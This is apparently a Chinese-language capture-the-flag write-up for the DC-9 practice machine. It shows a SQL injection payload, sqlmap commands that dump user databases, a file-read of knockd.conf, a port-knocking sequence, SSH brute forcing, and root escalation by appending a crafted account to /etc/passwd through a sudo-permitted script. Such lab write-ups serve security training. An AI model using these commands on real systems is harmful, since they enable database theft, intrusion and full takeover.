DC-9 靶机

DC_9

信息搜集

存活检测

DC-9 靶机_第1张图片

详细扫描

DC-9 靶机_第2张图片

后台网页扫描

DC-9 靶机_第3张图片

漏洞利用

漏洞发现

  • 在 search 页面的输入框尝试 sql 注入

    1' or 1=1#
    

    DC-9 靶机_第4张图片

    返回大量数据

    DC-9 靶机_第5张图片

  • sqlmap 爆破数据库

    sqlmap -u http://10.4.7.154/search.php --dbs --batch  
    

    爆破失败,显示未找到参数

    DC-9 靶机_第6张图片

  • 抓包查看

    DC-9 靶机_第7张图片

  • 爆破数据库

    # 查数据库:
    sqlmap -u http://10.4.7.154/results.php --data 'search=1' --dbs --batch  
    

    DC-9 靶机_第8张图片

Staff 数据库

  • 爆破表

    #查表:
    sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D Staff -tables --batch
    

    DC-9 靶机_第9张图片

  • 爆破表中数据

    sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D Staff -T Users --dump
    

    爆破出一条 admin 数据

    DC-9 靶机_第10张图片

  • 密码为 transorbital1

    856f5de590ef37314e7c3bdf6f8a66dc (transorbital1)
    

users 数据库

  • 爆表

    sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D users -tables --batch
    

    DC-9 靶机_第11张图片

  • 爆数据

    sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D users -T UserDetails --dump
    

    DC-9 靶机_第12张图片

  • 筛选用户名

    sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D users -T UserDetails -C username --dump
    
  • 筛选密码

    sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D users -T UserDetails -C password --dump
    
  • 将用户名密码分别保存到 user.txt 和 password.txt 文件中

  • ssh 爆破,显示被拒绝

    DC-9 靶机_第13张图片

  • 查阅资料

    SSH 的 knockd 是一种基于端口“敲门”(port knocking)的安全措施,它可以在不暴露 SSH 服务端口的情况下,允许合法用户通过特定的端口序列访问 SSH 服务。

    具体来说,knockd 通过监听特定的端口序列,当用户按照正确的顺序敲击这些端口时,会自动解除对 SSH 服务端口的阻止,从而允许用户访问 SSH 服务。这种方法可以有效地隐藏 SSH 服务,避免暴露在公网中,从而提高系统的安全性。

网页信息搜集

  • 登录网页

    admin
    transorbital1
    

    DC-9 靶机_第14张图片

  • 发现最下方出现“文件不存在”字样

    DC-9 靶机_第15张图片

  • 尝试文件读取

    DC-9 靶机_第16张图片

  • 读取 knockd.conf 文件

    image-20231025130802409

  • 敲击这三个端口打开 ssh

    nc 10.4.7.154 7469
    nc 10.4.7.154 8475
    nc 10.4.7.154 9842
    

    DC-9 靶机_第17张图片

  • 敲击后可成爆破

    DC-9 靶机_第18张图片

    login: chandlerb   password: UrAG0D!
    login: joeyt   password: Passw0rd
    login: janitor   password: Ilovepeepee
    

提权

  • 挨个用户登录,搜索提权相关信息

    最终在 janitor 登录后发现了一些密码

    DC-9 靶机_第19张图片

  • 使用这些密码再次爆破 user.txt

    DC-9 靶机_第20张图片

    有爆破出 fredf 用户

  • 登录 fredf 用户

    sudo -l 查看 root 权限

    DC-9 靶机_第21张图片

  • 查看 test

    vi /opt/devstuff/dist/test/test
    

    DC-9 靶机_第22张图片

  • 看不懂,运行一下

    给了提示

    image-20231025132920714

  • 查找 test.py

    find / -name test.py 2>/dev/null
    

    image-20231025133536592

  • 查看 test.py

    DC-9 靶机_第23张图片

    python 脚本实现了接受两个命令行参数,并将一个文件的内容读取并追加到另一个文件中

  • 尝试向 /etc/passwd 中添加 root 用户

    • 将用户信息写入 shell 文件

      image-20231025134530772

    • 使用有 root 权限的 /opt/devstuff/dist/test/test 写入

      sudo /opt/devstuff/dist/test/test shell /etc/passwd
      

      成功写入

      image-20231025134654040

  • 不支持无密码登录

    image-20231025134727219

  • 生成加密密码

    openssl passwd -1 -salt admin 123456
    

    openssl: 是一个开放源代码的加密工具包,提供了各种密码学功能和安全协议的实现。
    passwd: 是 OpenSSL 工具包中的一个命令,用于生成密码哈希值。
    -1: 表示使用 Unix 加密哈希算法(crypt)进行密码哈希。
    -salt admin: 指定盐值为 “admin”,盐值是一个随机字符串,用于增加密码哈希的安全性。
    123456: 是要加密的密码明文。

  • 重新编辑,添加到 /etc/passwd

    DC-9 靶机_第24张图片

  • 切换用户,提权成功

    DC-9 靶机_第25张图片

总结

  • sqlmap 爆破数据库若传参使用 POST 方法需要在 sqlmap 参数中添加 --data 'search=1'
  • ssh knockd 敲击

你可能感兴趣的:(渗透测试,android,网络安全,web安全,安全,服务器,linux)